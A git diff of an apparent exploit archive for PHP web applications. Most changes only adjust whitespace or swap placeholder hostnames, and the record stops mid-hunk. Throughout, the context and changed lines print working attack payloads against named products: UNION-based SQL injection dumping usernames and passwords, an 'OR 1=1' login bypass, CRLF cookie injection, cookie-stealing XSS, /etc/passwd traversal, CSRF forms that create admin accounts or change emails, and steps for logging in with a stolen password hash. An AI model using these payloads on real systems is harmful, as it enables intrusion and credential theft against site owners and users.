a/platforms/php/remote/37688.txt +++ b/platforms/php/remote/37688.txt @@ -11,4 +11,4 @@ header('Location: '.$_GET['url']); print_r($_COOKIE); ?> -http://www.example.com/head1.php?url=http://example.com/head1.php%0DSet-Cookie:+NAME=foo \ No newline at end of file +http://www.example.com/head1.php?url=http://example.com/head1.php%0DSet-Cookie:+NAME=foo \ No newline at end of file diff --git a/platforms/php/remote/38827.txt b/platforms/php/remote/38827.txt index a7a87dce2..4d0ac91d5 100755 --- a/platforms/php/remote/38827.txt +++ b/platforms/php/remote/38827.txt @@ -16,4 +16,4 @@ Content-Type: application/x-www-form-urlencoded Referer: http://localhost/nagiosql/ Cookie: PHPSESSID=httj04vv2g028sbs73v9dqoqs3 -tfUsername=test&tfPassword=%27%29+OR+1%3D1+limit+1%3B--+&Submit=Login \ No newline at end of file +tfUsername=test&tfPassword=%27%29+OR+1%3D1+limit+1%3B--+&Submit=Login \ No newline at end of file diff --git a/platforms/php/webapps/10042.txt b/platforms/php/webapps/10042.txt index 4681ee09e..8062b93c7 100755 --- a/platforms/php/webapps/10042.txt +++ b/platforms/php/webapps/10042.txt @@ -1,4 +1,4 @@ -Bonsai Information Security - Advisory + Bonsai Information Security - Advisory http://www.bonsai-sec.com/research/ SQL Injection in Achievo diff --git a/platforms/php/webapps/10052.txt b/platforms/php/webapps/10052.txt index 9b738e036..af03f8681 100755 --- a/platforms/php/webapps/10052.txt +++ b/platforms/php/webapps/10052.txt @@ -15,4 +15,4 @@ http://www.example.com/inventory.php?t=N&viewID=3665819[SQL] ================================================ WebSite : -http://wwe.hostwq.net \ No newline at end of file +http://wwe.hostwq.net \ No newline at end of file diff --git a/platforms/php/webapps/10069.php b/platforms/php/webapps/10069.php index 63aace558..1d8198c7f 100755 --- a/platforms/php/webapps/10069.php +++ b/platforms/php/webapps/10069.php @@ -55,3 +55,4 @@ echo "[+]go to http://$host$path/e/tool/gbook/?bid=1 see the hash" ?> + \ No newline at end of file diff --git a/platforms/php/webapps/10096.txt b/platforms/php/webapps/10096.txt index ff54e15f6..5b212cbf9 100755 --- a/platforms/php/webapps/10096.txt +++ b/platforms/php/webapps/10096.txt @@ -14,4 +14,4 @@ if(strstr($_SERVER['REQUEST_URI'], "/admin/mail.php/login.php" ) !== false){ } -Go fix your carts!!!! \ No newline at end of file +Go fix your carts!!!! \ No newline at end of file diff --git a/platforms/php/webapps/1014.txt b/platforms/php/webapps/1014.txt index f1bc85417..c2d2129bd 100755 --- a/platforms/php/webapps/1014.txt +++ b/platforms/php/webapps/1014.txt @@ -8,7 +8,7 @@ Tutorial for the recent exploit released by Petey Beege. b. inside the perl shell, do this 'install LWP::UserAgent' 3. Run the exploit. Get the password hash for the desired login id -ex. inv.pl http://forums.eliteserver 2 2 +ex. inv.pl http://forums.elitesite.com 2 2 Where 2 is the login id and 2 for version 2 of IPB. @@ -18,13 +18,13 @@ C:\Documents and Settings\the1\Application Data\Mozilla\Firefox\Profiles\vspyhjb Add the following entries: -forums.eliteserver FALSE / FALSE 1148708747 member_id 1 -forums.eliteserver FALSE / FALSE 1148708747 pass_hash ecb735f70028a9cdb819828f4aced78c +forums.elitesite.com FALSE / FALSE 1148708747 member_id 1 +forums.elitesite.com FALSE / FALSE 1148708747 pass_hash ecb735f70028a9cdb819828f4aced78c Notice the value of member_id and pass_hash taken from the values generated by the exploit. -5. Fire up Mozilla Firefox and login to http://forums.eliteserver +5. Fire up Mozilla Firefox and login to http://forums.elitesite.com Enjoy! diff --git a/platforms/php/webapps/1016.pl b/platforms/php/webapps/1016.pl index 8fbb5f6cd..f9a6c31ca 100755 --- a/platforms/php/webapps/1016.pl +++ b/platforms/php/webapps/1016.pl @@ -31,7 +31,7 @@ if (@ARGV < 3) print " Usage: <T4rg3t> <DIR> <Password>\n\n"; print "==========================================\n\n"; print "Examples:\n\n"; - print " phpStat.pl www.server /phpstat/ 12345\n"; + print " phpStat.pl www.Site.com /phpstat/ 12345\n"; exit(); } diff --git a/platforms/php/webapps/10168.txt b/platforms/php/webapps/10168.txt index 5fec0af9b..6c321d082 100755 --- a/platforms/php/webapps/10168.txt +++ b/platforms/php/webapps/10168.txt @@ -11,6 +11,6 @@ Vendor: http://www.plohni.com exploit: -server/Shoutbox/index.php +site.com/Shoutbox/index.php in the select your name and your text put this code '">><script>alert('XSS skh')</script> diff --git a/platforms/php/webapps/1017.php b/platforms/php/webapps/1017.php index 350bc55d4..3386fff1c 100755 --- a/platforms/php/webapps/1017.php +++ b/platforms/php/webapps/1017.php @@ -13,9 +13,9 @@ Alphast , IHS Team , Shabgard Security Team , Emperor Hacking TEam ====================^^^^^^^^^^^^^^^^^^^-========================= */ # Config ________________________________ -# address - example: http://www.server/setup.php Or www.server /dir/setup.php +# address - example: http://www.site.com/setup.php Or www.site.com /dir/setup.php -$url = "http://www.server/setup.php"; +$url = "http://www.site.com/setup.php"; # EnD ___________________________________ diff --git a/platforms/php/webapps/10178.txt b/platforms/php/webapps/10178.txt index c9a9134b4..ac5a96d31 100755 --- a/platforms/php/webapps/10178.txt +++ b/platforms/php/webapps/10178.txt @@ -100,4 +100,4 @@ Joke.. ;) [+] makasih buad babe and enyak .... muach .. untuk pacarkuwh luph u mwahhhhh [+] makasih buat om tukulesto buat perl exploit nye .. huahhh [+] aurakasih .. sekarang pilih antara kaMtiEz . Tukulesto . M3NW5 ... hha -[+] om tukulesto kutunggu kau di kotaku .. :D -----------------------------------------------------------------] \ No newline at end of file +[+] om tukulesto kutunggu kau di kotaku .. :D -----------------------------------------------------------------] \ No newline at end of file diff --git a/platforms/php/webapps/1018.php b/platforms/php/webapps/1018.php index 00ff9d1e8..8018852ce 100755 --- a/platforms/php/webapps/1018.php +++ b/platforms/php/webapps/1018.php @@ -60,7 +60,7 @@ echo " by Nikyt0x - Soulblack Security Research\n\n"; if ($argc != 3) { sh0w(); -echo "\n\n Usage:\n sbphpstatpoc.php www.server /dir/to/setup.php\n"; +echo "\n\n Usage:\n sbphpstatpoc.php www.site.com /dir/to/setup.php\n"; exit(); } diff --git a/platforms/php/webapps/10180.txt b/platforms/php/webapps/10180.txt index 94163ba32..8857a52b9 100755 --- a/platforms/php/webapps/10180.txt +++ b/platforms/php/webapps/10180.txt @@ -94,4 +94,4 @@ Delete Comment: http://server/simplog/comments.php?op=del&cid= 03/11/2009 Bug Discovered 03/11/2009 Reported to Vendor 16/11/2009 No response received till the date -16/11/2009 Public Disclosure \ No newline at end of file +16/11/2009 Public Disclosure \ No newline at end of file diff --git a/platforms/php/webapps/10214.txt b/platforms/php/webapps/10214.txt index a0ccf130a..98a09b1ba 100755 --- a/platforms/php/webapps/10214.txt +++ b/platforms/php/webapps/10214.txt @@ -11,4 +11,4 @@ http:///server/index.php?option=com_mygallery&func=viewcategory&cid=-1+union+all ## WWW.1923TURK.BÝZ -## GREETZ : DELÝBEY TÝAMO \ No newline at end of file +## GREETZ : DELÝBEY TÝAMO \ No newline at end of file diff --git a/platforms/php/webapps/10216.txt b/platforms/php/webapps/10216.txt index 6da6cce6c..b8deaf303 100755 --- a/platforms/php/webapps/10216.txt +++ b/platforms/php/webapps/10216.txt @@ -1,4 +1,4 @@ -[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] + [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] ######################################################################## #KR-Web <= 1.1b2 Remote File Include Vulnerability @@ -24,4 +24,4 @@ # all member at manadocoding.net # \##############################################/ - [ Gorontalo / 2009 ] \ No newline at end of file + [ Gorontalo / 2009 ] \ No newline at end of file diff --git a/platforms/php/webapps/10217.txt b/platforms/php/webapps/10217.txt index 2d2d146f2..dff54d739 100755 --- a/platforms/php/webapps/10217.txt +++ b/platforms/php/webapps/10217.txt @@ -1,4 +1,4 @@ -[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] + [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] ######################################################################## #NukeHall <= 0.3 Multiple Remote File Include Vulnerability diff --git a/platforms/php/webapps/10218.txt b/platforms/php/webapps/10218.txt index b7a3dc9ea..ce8a4cc7a 100755 --- a/platforms/php/webapps/10218.txt +++ b/platforms/php/webapps/10218.txt @@ -1,4 +1,4 @@ -[ Discovered by cr4wl3r \ Indonesian Hacker ] + [ Discovered by cr4wl3r \ Indonesian Hacker ] ######################################################################## # OPT (Outreach Project Tool) <= 1.2.6 [CRM_path] Remote File Include Vulnerability diff --git a/platforms/php/webapps/10219.txt b/platforms/php/webapps/10219.txt index 0f2468fb8..6e55dd3f6 100755 --- a/platforms/php/webapps/10219.txt +++ b/platforms/php/webapps/10219.txt @@ -1,4 +1,4 @@ -[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] + [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] ######################################################################## #phptraverse <= 0.8.0 Remote File Include Vulnerability @@ -24,4 +24,4 @@ # all member at manadocoding.net # \##############################################/ - [ Gorontalo / 2009 ] \ No newline at end of file + [ Gorontalo / 2009 ] \ No newline at end of file diff --git a/platforms/php/webapps/10220.txt b/platforms/php/webapps/10220.txt index c6b5c7c6d..e2e155a1a 100755 --- a/platforms/php/webapps/10220.txt +++ b/platforms/php/webapps/10220.txt @@ -1,4 +1,4 @@ -[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] + [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] ######################################################################## #PointComma <= 3.8b2 Remote File Include Vulnerability diff --git a/platforms/php/webapps/10222.txt b/platforms/php/webapps/10222.txt index 2c9202dab..0d255b45b 100755 --- a/platforms/php/webapps/10222.txt +++ b/platforms/php/webapps/10222.txt @@ -33,4 +33,4 @@ [!] [!]====================================================================|| [!] Greetz : Haxker & explit007 & Kasper-Ksa & All My Friends . || -[*]====================================================================|| \ No newline at end of file +[*]====================================================================|| \ No newline at end of file diff --git a/platforms/php/webapps/10227.txt b/platforms/php/webapps/10227.txt index cb41d7f4c..0828a3ebf 100755 --- a/platforms/php/webapps/10227.txt +++ b/platforms/php/webapps/10227.txt @@ -25,4 +25,4 @@ http://server/index.php?option=com_mygallery&amp;func=viewcategory&amp;cid=-1%20 http://server/index.php?option=com_mygallery&amp;func=viewcategory&amp;cid=-1+union+all+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15+from+jos_users -http://server/index.php?option=com_mygallery&amp;func=viewcategory&amp;cid=-1+union+all+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users \ No newline at end of file +http://server/index.php?option=com_mygallery&amp;func=viewcategory&amp;cid=-1+union+all+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users \ No newline at end of file diff --git a/platforms/php/webapps/10232.txt b/platforms/php/webapps/10232.txt index 7c4e3296b..f576400e0 100755 --- a/platforms/php/webapps/10232.txt +++ b/platforms/php/webapps/10232.txt @@ -1,4 +1,4 @@ -__ __ ___ ___ __ __ ___ ___ ___ ___ ___ ___ ___ _ ___ _ _ _ __ + __ __ ___ ___ __ __ ___ ___ ___ ___ ___ ___ ___ _ ___ _ _ _ __ \ \ / / / _ \ / __| \ \ / / / \ / __| / \ | _ \ | \ | __| | _ \ | | |_ _| | \| | | |/ / \ V / | (_) || (_ | \ V / | - | | (__ | - | | / | |) | | _| | / | |__ | | | .` | | ' < _|_|_ \___/ \___| _|_|_ |_|_| \___| |_|_| |_|_\ |___/ |___| |_|_\ |____| |___| |_|\_| |_|\_\ @@ -67,7 +67,7 @@ print "| |\n"; print "| www.yogyacarderlink.web.id |\n"; print "|----------------------------------------------------|\n"; use LWP::UserAgent; -print "\nMasukin Target:[http://wserver/path/]: "; +print "\nMasukin Target:[http://wwww.target.com/path/]: "; chomp(my $target=<STDIN>); #Nama Column $kontol="group_concat(username,0x3a,password)"; diff --git a/platforms/php/webapps/10246.txt b/platforms/php/webapps/10246.txt index 8a0eff832..c09a81b8e 100755 --- a/platforms/php/webapps/10246.txt +++ b/platforms/php/webapps/10246.txt @@ -1,4 +1,4 @@ -[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] + [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] ######################################################################## #SweetRice <= 0.5.0 Remote File Include Vulnerability @@ -23,4 +23,4 @@ - [ Gorontalo / 2009 \ No newline at end of file + [ Gorontalo / 2009 \ No newline at end of file diff --git a/platforms/php/webapps/10249.txt b/platforms/php/webapps/10249.txt index 0a6f9bf0d..3af2a2d12 100755 --- a/platforms/php/webapps/10249.txt +++ b/platforms/php/webapps/10249.txt @@ -1,4 +1,4 @@ -) ) ) ( ( ( ( ( ) ) + ) ) ) ( ( ( ( ( ) ) ( /(( /( ( ( /( ( ( ( )\ ))\ ) )\ ))\ ) )\ ) ( /( ( /( )\())\()))\ ) )\()) )\ )\ )\ (()/(()/( ( (()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)( (((_)(((_)( /(_))(_)) )\ /(_))(_))/(_))(_)\|((_)\ diff --git a/platforms/php/webapps/10259.txt b/platforms/php/webapps/10259.txt index d20e11427..0dff8072e 100755 --- a/platforms/php/webapps/10259.txt +++ b/platforms/php/webapps/10259.txt @@ -1,4 +1,4 @@ -[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] + [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] ######################################################################## #Ciamos CMS <= 0.9.5 (module_path) Remote File Include Vulnerability @@ -20,4 +20,4 @@ - [ Gorontalo / 2009 ] \ No newline at end of file + [ Gorontalo / 2009 ] \ No newline at end of file diff --git a/platforms/php/webapps/10260.txt b/platforms/php/webapps/10260.txt index 2ec574abf..8fc41ba16 100755 --- a/platforms/php/webapps/10260.txt +++ b/platforms/php/webapps/10260.txt @@ -1,4 +1,4 @@ ---------------------------------------------------- + --------------------------------------------------- - Robert Zimmerman PHP / MYSQL SCRIPTS ADMIN BYPASS - --------------------------------------------------- diff --git a/platforms/php/webapps/10274.txt b/platforms/php/webapps/10274.txt index f18ce1d6b..d963b38d2 100755 --- a/platforms/php/webapps/10274.txt +++ b/platforms/php/webapps/10274.txt @@ -42,4 +42,4 @@ http://server/index.php?action=admin;area=languages;sa=add;[token] PoC: "><xss> http://server/index.php?action=admin;area=theme;sa=settings;th=2;[token] -PoC: http://urlreal"><script>alert(1);</script> \ No newline at end of file +PoC: http://urlreal"><script>alert(1);</script> \ No newline at end of file diff --git a/platforms/php/webapps/10277.txt b/platforms/php/webapps/10277.txt index 47075e950..3fcbd4692 100755 --- a/platforms/php/webapps/10277.txt +++ b/platforms/php/webapps/10277.txt @@ -37,4 +37,4 @@ ######################################################################## - [ Gorontalo / 2009 ] \ No newline at end of file + [ Gorontalo / 2009 ] \ No newline at end of file diff --git a/platforms/php/webapps/10285.txt b/platforms/php/webapps/10285.txt index f68f6560f..ecf17d6e4 100755 --- a/platforms/php/webapps/10285.txt +++ b/platforms/php/webapps/10285.txt @@ -1,4 +1,4 @@ -[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] + [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] ######################################################################## #Public Media Manager <= 1.3 (forms_dir) Remote File Include Vulnerability diff --git a/platforms/php/webapps/10286.txt b/platforms/php/webapps/10286.txt index b8e641971..70b8e5714 100755 --- a/platforms/php/webapps/10286.txt +++ b/platforms/php/webapps/10286.txt @@ -1,4 +1,4 @@ - + [@]================================================================================================================================================[@] [+] Location : notepad diff --git a/platforms/php/webapps/10288.txt b/platforms/php/webapps/10288.txt index c0d9159f5..db70cf4a1 100755 --- a/platforms/php/webapps/10288.txt +++ b/platforms/php/webapps/10288.txt @@ -24,4 +24,4 @@ ######################################################################## ######################################################################## - [ Gorontalo / 2009 ] \ No newline at end of file + [ Gorontalo / 2009 ] \ No newline at end of file diff --git a/platforms/php/webapps/10291.txt b/platforms/php/webapps/10291.txt index 91621c4d0..07ad1c3b5 100755 --- a/platforms/php/webapps/10291.txt +++ b/platforms/php/webapps/10291.txt @@ -9,4 +9,4 @@ An attacker can exploit this issue by enticing an unsuspecting user to follow a The following proof-of-concept URIs are available: http://server/1";alert(document.cookie);// -http://server/page?";alert(document.cookie);// \ No newline at end of file +http://server/page?";alert(document.cookie);// \ No newline at end of file diff --git a/platforms/php/webapps/10302.txt b/platforms/php/webapps/10302.txt index 37db6d365..e519b9712 100755 --- a/platforms/php/webapps/10302.txt +++ b/platforms/php/webapps/10302.txt @@ -1,4 +1,4 @@ -[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] + [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] ######################################################################## #Download Script : http://sourceforge.net/projects/fourtwosevenbb/files/ diff --git a/platforms/php/webapps/10304.txt b/platforms/php/webapps/10304.txt index 1e0996d81..accf2f560 100755 --- a/platforms/php/webapps/10304.txt +++ b/platforms/php/webapps/10304.txt @@ -671,4 +671,4 @@ The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no -responsibility for any damage caused by the use or misuse of this information. \ No newline at end of file +responsibility for any damage caused by the use or misuse of this information. \ No newline at end of file diff --git a/platforms/php/webapps/10305.txt b/platforms/php/webapps/10305.txt index 6623c8f0f..c2dc4bff4 100755 --- a/platforms/php/webapps/10305.txt +++ b/platforms/php/webapps/10305.txt @@ -11,4 +11,4 @@ The following example URIs are available: http://server/path/ubb/libs/smarty/Smarty_Compiler.class.php?_plugins_params=[RFI] http://server/path/ubb/libs/html.inc.php?[USER_LANGUAGE]=[RFI] -http://server/path/ubb/ubbthreads.php?file=../../../../../../../../etc/passwd%00 \ No newline at end of file +http://server/path/ubb/ubbthreads.php?file=../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/10329.txt b/platforms/php/webapps/10329.txt index 6df440009..472559b93 100755 --- a/platforms/php/webapps/10329.txt +++ b/platforms/php/webapps/10329.txt @@ -1,4 +1,4 @@ -[ Discovered by cr4wl3r \ Indonesian Hacker ] + [ Discovered by cr4wl3r \ Indonesian Hacker ] ######################################################################## 3rr0r: ./aroundme_1_1/aroundme/components/core/connect.php (line 25) diff --git a/platforms/php/webapps/10350.txt b/platforms/php/webapps/10350.txt index 4fcf51b62..7015bdeaf 100755 --- a/platforms/php/webapps/10350.txt +++ b/platforms/php/webapps/10350.txt @@ -1,4 +1,4 @@ -ALGERIAN HACKER + ALGERIAN HACKER **********************- NORTH-AFRICA SECURITY TEAM -*********************** [!] IRAN N.E.T E-commerce Group SQL Injection Vulnerability diff --git a/platforms/php/webapps/10356.txt b/platforms/php/webapps/10356.txt index ac6f751a0..7b35966fe 100755 --- a/platforms/php/webapps/10356.txt +++ b/platforms/php/webapps/10356.txt @@ -29,7 +29,7 @@ index.php?option=com_job&task=showMoreUser&id=-1+union+select+1,2,3,4,5,6,7,8,9, [ Demo ] -http://www.server/index.php?option=com_job&task=showMoreUser&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(username,0x3a,password),17,18,19,20,21,22,23,24,25+from+kew_users-- +http://www.site.com/index.php?option=com_job&task=showMoreUser&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(username,0x3a,password),17,18,19,20,21,22,23,24,25+from+kew_users-- =========================================================================== diff --git a/platforms/php/webapps/10357.txt b/platforms/php/webapps/10357.txt index bd41b22bb..b096c25e8 100755 --- a/platforms/php/webapps/10357.txt +++ b/platforms/php/webapps/10357.txt @@ -1,4 +1,4 @@ -_ _ _ _ _ _ _ _ _ _ _ _ _ _ __ _ _ _ _ _____1337~h4x0rZ__ _ ___ ___ + _ _ _ _ _ _ _ _ _ _ _ _ _ _ __ _ _ _ _ _____1337~h4x0rZ__ _ ___ ___ /_/Rd_ _ / _ _\/ _ _ / \ \< |/_ _ / /\ | \ /\ || \( ) /\ | \ (| | \_ _ _ _/ /_ _ / / __ | () / | | / / [d0t]com/@~\ | (O) / /+~\ ||_O_|( ) /0O\ | \ | | _ _ _ _\ \_ _ \ \ _ _ _ | \ | | / /_ _ /|__|\ | \ /|__|\|| O |( ) /+__+\| ^ \ | | @@ -24,7 +24,7 @@ _ _ _ _ _ _ _ _ _ _ _ _ _ _ __ _ _ _ _ _____1337~h4x0rZ_ [ª] Live dem0 : -http://www.server/lesson.php?id=-258+union+select+concat%28c_pass,0x3e,c_user%29,2,3+from+q_config +http://www.site.com/lesson.php?id=-258+union+select+concat%28c_pass,0x3e,c_user%29,2,3+from+q_config Author: Red-D3v1L <- diff --git a/platforms/php/webapps/10358.txt b/platforms/php/webapps/10358.txt index 4164a96fe..e0fb1a5af 100755 --- a/platforms/php/webapps/10358.txt +++ b/platforms/php/webapps/10358.txt @@ -1,4 +1,4 @@ -_ _ _ _ _ _ _ _ _ _ _ _ _ _ __ _ _ _ _ _____1337~h4x0rZ__ _ ___ ___ + _ _ _ _ _ _ _ _ _ _ _ _ _ _ __ _ _ _ _ _____1337~h4x0rZ__ _ ___ ___ /_/Rd_ _ / _ _\\/ _ _ / \\ \\< |/_ _ / /\\ | \\ /\\ || \\( ) /\\ | \\ (| | \\_ _ _ _/ /_ _ / / __ | () / | | / / [d0t]com/@~\\ | (O) / /+~\\ ||_O_|( ) /0O\\ | \\ | | _ _ _ _\\ \\_ _ \\ \\ _ _ _ | \\ | | / /_ _ /|__|\\ | \\ /|__|\\|| O |( ) /+__+\\| ^ \\ | | @@ -25,7 +25,7 @@ _ _ _ _ _ _ _ _ _ _ _ _ _ _ __ _ _ _ _ _____1337~h4x0rZ_ [ª] Live dem0 : -http://www.server/am/cource.php?action=pregled&cont_id=21&courc_id=-2+union+select+version%28%29-- +http://www.site.com/am/cource.php?action=pregled&cont_id=21&courc_id=-2+union+select+version%28%29-- Author: Red-D3v1L <- diff --git a/platforms/php/webapps/10361.txt b/platforms/php/webapps/10361.txt index bc7dc344e..57c179078 100755 --- a/platforms/php/webapps/10361.txt +++ b/platforms/php/webapps/10361.txt @@ -9,7 +9,7 @@ Site : WwW.VxX9.Cc ~ Note :Its Not Free .. Its By : $199.00 ~ IF You Want To Buy It : http://www.netartmedia.net/en_Pricing.html -[~] Demo : http://www.server/realestate20/ +[~] Demo : http://www.site.com/realestate20/ [~] username: admin' or '1=1 [~] password: Anti diff --git a/platforms/php/webapps/10364.txt b/platforms/php/webapps/10364.txt index 161b61f0d..5261d133d 100755 --- a/platforms/php/webapps/10364.txt +++ b/platforms/php/webapps/10364.txt @@ -1,4 +1,4 @@ -Core Security Technologies - CoreLabs + Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ diff --git a/platforms/php/webapps/10384.txt b/platforms/php/webapps/10384.txt index 3e8575453..67f99578d 100755 --- a/platforms/php/webapps/10384.txt +++ b/platforms/php/webapps/10384.txt @@ -1,7 +1,7 @@ E-Store SQL Injection Vulnerability Name E-Store - Vendor http://www.getaphpserver + Vendor http://www.getaphpsite.com Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net diff --git a/platforms/php/webapps/10393.txt b/platforms/php/webapps/10393.txt index 9de639634..a5f8e731a 100755 --- a/platforms/php/webapps/10393.txt +++ b/platforms/php/webapps/10393.txt @@ -1,4 +1,4 @@ -Name B2D Booking Centre Systems + Name B2D Booking Centre Systems Vendor http://www.bookingcentre.eu Author Salvatore Fresta aka Drosophila diff --git a/platforms/php/webapps/10407.txt b/platforms/php/webapps/10407.txt index 7db033e4c..c77181d13 100755 --- a/platforms/php/webapps/10407.txt +++ b/platforms/php/webapps/10407.txt @@ -29,7 +29,7 @@ http://localhost/index.php?page=shop.product_details&flypage=shop.flypage&produc +limit+1,1--&category_id=10&manufacturer_id=11&option=com_virtuemart&Itemid=1&vmcchk=1&Itemid=1- [#] Live Demo -http://server/index.php?page=shop.product_details&flypage=shop.flypage&product_id=6995+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,concat(username,0x3a,password,0x3a,gid,0x3a,id)Gabriel,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55+from+jos_users+limit+1,1--&category_id=10&manufacturer_id=11&option=com_virtuemart&Itemid=1&vmcchk=1&Itemid=1 +http://site.com/index.php?page=shop.product_details&flypage=shop.flypage&product_id=6995+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,concat(username,0x3a,password,0x3a,gid,0x3a,id)Gabriel,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55+from+jos_users+limit+1,1--&category_id=10&manufacturer_id=11&option=com_virtuemart&Itemid=1&vmcchk=1&Itemid=1 **********************************/ diff --git a/platforms/php/webapps/10408.txt b/platforms/php/webapps/10408.txt index 662dffa02..3107bcb85 100755 --- a/platforms/php/webapps/10408.txt +++ b/platforms/php/webapps/10408.txt @@ -1,4 +1,4 @@ -ALGERIAN HACKER + ALGERIAN HACKER **********************- NORTH-AFRICA SECURITY TEAM -*********************** [!] SpireCMS v2.0 SQL Injection Vulnerability diff --git a/platforms/php/webapps/10412.txt b/platforms/php/webapps/10412.txt index ebecb1566..a621f8adf 100755 --- a/platforms/php/webapps/10412.txt +++ b/platforms/php/webapps/10412.txt @@ -1,4 +1,4 @@ -______ __ ______ + ______ __ ______ /\ == \ /\ \ /\ __ \ \ \ __< \ \ \ \ \ \/\ \ \ \_____\ \ \_\ \ \_____\ diff --git a/platforms/php/webapps/10418.txt b/platforms/php/webapps/10418.txt index 7617bbd9f..e2a49da18 100755 --- a/platforms/php/webapps/10418.txt +++ b/platforms/php/webapps/10418.txt @@ -1,4 +1,4 @@ -ALGERIAN HACKER + ALGERIAN HACKER **********************- NORTH-AFRICA SECURITY TEAM -*********************** [!] Ele Medios CMS SQL Injection Vulnerability diff --git a/platforms/php/webapps/10436.txt b/platforms/php/webapps/10436.txt index 6f8387050..e1debbe23 100755 --- a/platforms/php/webapps/10436.txt +++ b/platforms/php/webapps/10436.txt @@ -1,4 +1,4 @@ -______ __ ______ + ______ __ ______ /\ == \ /\ \ /\ __ \ \ \ __< \ \ \ \ \ \/\ \ \ \_____\ \ \_\ \ \_____\ diff --git a/platforms/php/webapps/10438.txt b/platforms/php/webapps/10438.txt index 501288c62..7c29bb11a 100755 --- a/platforms/php/webapps/10438.txt +++ b/platforms/php/webapps/10438.txt @@ -1,4 +1,4 @@ -______ __ ______ + ______ __ ______ /\ == \ /\ \ /\ __ \ \ \ __< \ \ \ \ \ \/\ \ \ \_____\ \ \_\ \ \_____\ diff --git a/platforms/php/webapps/10445.txt b/platforms/php/webapps/10445.txt index baa5b9f75..4ae6837fe 100755 --- a/platforms/php/webapps/10445.txt +++ b/platforms/php/webapps/10445.txt @@ -1,4 +1,4 @@ -__________ __ __ .___ __ .__ + __________ __ __ .___ __ .__ \______ \_____ ____ | | __ _____/ |_ __| _/____ _____ _/ |_| |__ | ___/\__ \ _/ ___\| |/ // __ \ __\/ __ |/ __ \\__ \\ __\ | \ | | / __ \\ \___| <\ ___/| | / /_/ \ ___/ / __ \| | | Y \ diff --git a/platforms/php/webapps/10446.txt b/platforms/php/webapps/10446.txt index a9b19b5b5..9fa06a9d7 100755 --- a/platforms/php/webapps/10446.txt +++ b/platforms/php/webapps/10446.txt @@ -1,4 +1,4 @@ -Name WSCreator + Name WSCreator Vendor http://www.wscreator.com Versions Affected 1.1 diff --git a/platforms/php/webapps/10447.txt b/platforms/php/webapps/10447.txt index 36a8e3cc3..aa8bc4b58 100755 --- a/platforms/php/webapps/10447.txt +++ b/platforms/php/webapps/10447.txt @@ -8,7 +8,7 @@ <html> <body onload="javascript:fireForms()"> -<form method="POST" name="form0" action="http://www.server/[path]/admincp/staff.php?do=addnew&go=add"> +<form method="POST" name="form0" action="http://www.site.com/[path]/admincp/staff.php?do=addnew&go=add"> <input type="hidden" name="username" value="fuck"/> <input type="hidden" name="password" value="fuckpass"/> <input type="hidden" name="email" value="mail@mail.com<mailto:mail@mail.com>"/> diff --git a/platforms/php/webapps/10453.txt b/platforms/php/webapps/10453.txt index 86cbd820f..2d66dd043 100755 --- a/platforms/php/webapps/10453.txt +++ b/platforms/php/webapps/10453.txt @@ -1,4 +1,4 @@ -**********************- cvs -vrew *********************** + **********************- cvs -vrew *********************** [!] SitioOnline SQL Injection Vulnerability [!] Author : 4lG3r14n0-t3r0 diff --git a/platforms/php/webapps/10472.txt b/platforms/php/webapps/10472.txt index e1c958856..abd7645a4 100755 --- a/platforms/php/webapps/10472.txt +++ b/platforms/php/webapps/10472.txt @@ -52,7 +52,7 @@ We can use the following exploit to change users email and then go to <form action="http://localhost/recipes/update_profile.php" method="POST"> <input name="first_name" type="text" value="DEMO"> <input name="last_name" type="text" value="USER"> - <input name="website" type="text" value="webserver"> + <input name="website" type="text" value="website.com"> <input name="country" type="text" value="Moon State"> <input name="email" type="text" value="our@email.com"> <input type="checkbox" name="subscribed" value="1"> @@ -91,7 +91,7 @@ see the link to your shell [EXPLOIT------------------------------------------------------------------------------------------] <form action="http://localhost/recipes/admin/send_email_users.php" method="POST"> - <input type="hidden" name="from_email" value="support@server"> + <input type="hidden" name="from_email" value="support@site.com"> <input type="hidden" name="subject" value="Subject"> <input type="hidden" name="message" value="Free your mind and the ass will follow!"> diff --git a/platforms/php/webapps/10493.txt b/platforms/php/webapps/10493.txt index cdca97fc3..c1d99816e 100755 --- a/platforms/php/webapps/10493.txt +++ b/platforms/php/webapps/10493.txt @@ 